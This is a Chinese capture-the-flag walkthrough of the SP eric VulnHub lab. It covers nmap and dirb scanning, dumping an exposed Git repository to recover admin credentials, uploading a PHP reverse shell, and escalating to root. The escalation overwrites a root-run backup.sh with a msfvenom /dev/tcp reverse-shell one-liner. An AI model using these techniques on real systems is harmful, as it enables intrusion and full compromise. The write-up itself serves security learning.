SP eric靶机通关攻略

栏目: Python · 发布时间: 5年前

内容简介:大家好,今天给大家带来的靶机是SP eric,这个靶机有两个flag,我们的目标就是把它们都找出来,flag的位置已经提供,如下:·/root/flag.txt· /root/eric/flag.txt

大家好,今天给大家带来的靶机是SP eric,这个靶机有两个flag,我们的目标就是把它们都找出来,flag的位置已经提供,如下:

·/root/flag.txt

· /root/eric/flag.txt

靶机下载地址: https://www.vulnhub.com/entry/sp-eric,274/

渗透方法

· 网络扫描

· 访问HTTP服务端口

· 使用dirb遍历目录

· 使用gitdumper来下载git文件

· 使用extractor来提取git文件

· 遍历登录凭证

· 上传 PHP 反向shell

· 获取用户flag

· 利用PHP shell编辑文件

·获取root用户flag

Writeup

首先我们用nmap来对这个靶机进行端口扫描,通过扫描可以看到开放了80端口,如下图,我们还看到了扫出来了一个Git目录。

nmap -A 192.168.1.18

SP eric靶机通关攻略

既然开了80,我们就在浏览器中访问一下,看到如下信息,“blog under construction”(博客正在建设中),如图,看起来好像没什么可挖掘的,我们再试试其他办法。

SP eric靶机通关攻略

那我们就来试一下目录遍历,这里我们使用dirb这款工具。扫出来了一个admin.php文件和一个upload目录。OK,我们将对它们进一步挖掘。

dirb //192.168.1.18

SP eric靶机通关攻略

访问admin.php,是一个表单,有username和password这两个字段。看到表单,我们马上就会想到 SQL 注入。于是我们花了一点时间进行尝试,无果,只好放弃,只能再尝试其他方法。

SP eric靶机通关攻略

现在,继续看nmap扫描结果,我们找到了一个Git库。在google上查找一番之后,我们找到了一个Git泄露利用工具GitTools。我们把 工具 下载到桌面,如下图,接着我们进入到GitTools工具目录,ls一下,我们可以看到有3个工具:Dumper,Extractor和Finder。我们将使用这个工具来遍历我们发现的Git库。

git clone //github.com/internetwache/GitTools.git
cd GitTools/
ls

SP eric靶机通关攻略

首先,我们进入到Dumper目录,使用gitdumper工具。这会dump Git库中的所有文件。我们只需要指定一个下载目录即可,如下图:

SP eric靶机通关攻略

现在我们已经成功dump了Git库中的所有文件。接着该使用Extractor工具了。进入到Extractor目录中,使用Extractor工具,需要指定两个目录,一个是刚才dump文件的目录,一个是提取文件的目录,如下图:

./extractor.sh ../Dumper/dest-dir ./dest-dir

SP eric靶机通关攻略

Extractor会根据Git中的commits来创建目录,如下图所示。Git中有3个commits,所以创建了3个目录。首先,我们进入其中一个目录“3db5628b550f5c9c9f6f663cd158374035a6eaa0”,发现里面有三个文件:admin.php,commitmeta.txt和index.php。我们用cat命令来查看一下admin.php这个文件,发现了之前访问80端口时表单中的用户名和密码,我们把这个凭证标记出来了,如下图:

SP eric靶机通关攻略

回到之前的表单页面,然后输入凭证,成功登陆。登进来之后,我们发现了更多的表单,一个是“add new post”,还有一个是“add site to blogroll”,都是在建设中,如图:

SP eric靶机通关攻略

我们在表单中随便填入一些信息,然后在上传文件的位置选择一个PHP反向shell。填完之后,我们点击add按钮来添加,如图:

SP eric靶机通关攻略

虽然文件已经上传了,但我们要获取到会话,还是要在靶机上访问一下这个文件。回到nmap扫描结果,我们找到一个“upload”目录。猜想一下,刚才上传的文件应该是传到了upload目录下,于是我们在浏览器中访问一下upload目录下的该文件,如下图:

SP eric靶机通关攻略

另一方面,我们需要打开一个终端,创建一个nc监听器,监听的端口是PHP反向 shell 脚本里设置的端口。很快,我们就获得了靶机的shell。不过,获得的好像是一个Python shell,要获得靶机的系统shell,我们需要使用 Python 的一个语句,如下图。进入靶机的系统shell之后,我们就可以ls查看一下当前目录内容了,发现了eric目录,进入到该目录,找到了第一个flag。同时,在这个eric目录下,我们还发现了一个backup.sh文件,这个文件是以root身份运行的,并且具有所有的权限,如下图所示:

nc -lvp 1234
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /home
ls -al
cd eric
ls -al
cat flag.txt

SP eric靶机通关攻略

因此,我们就需要利用这个backup.sh文件来提权到root。我们创建了一个msfvenom脚本来打这个靶机。我们使用的是reverse_bash这个payload来创建脚本的,如下:

msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.4 lport=4455 R

SP eric靶机通关攻略

复制脚本内容,然后切换到靶机的shell会话中,使用echo命令,将内容写入到backup.sh中,如下:

echo "0<&171-;exec 171<>/dev/tcp/192.168.1.4/4455;sh <&171 >&171 2>&171" > backup.sh
cat backup.sh

SP eric靶机通关攻略

打开一个新的终端,再创建另外一个nc监听器,监听的端口就是刚才使用msfvenom创建脚本时的端口,4455。接着,我们执行一下这个backup.sh文件,马上就获得了一个root shell。我们还是需要使用Python语句来进入到系统的shell中。接着,我们切换到root目录下,看到了root flag,如下图:

nc -lvp 4455
id
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /root
ls
cat flag.txt

SP eric靶机通关攻略


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Implementing Responsive Design

Implementing Responsive Design

Tim Kadlec / New Riders / 2012-7-31 / GBP 27.99

New devices and platforms emerge daily. Browsers iterate at a remarkable pace. Faced with this volatile landscape we can either struggle for control or we can embrace the inherent flexibility of the w......一起来看看 《Implementing Responsive Design》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码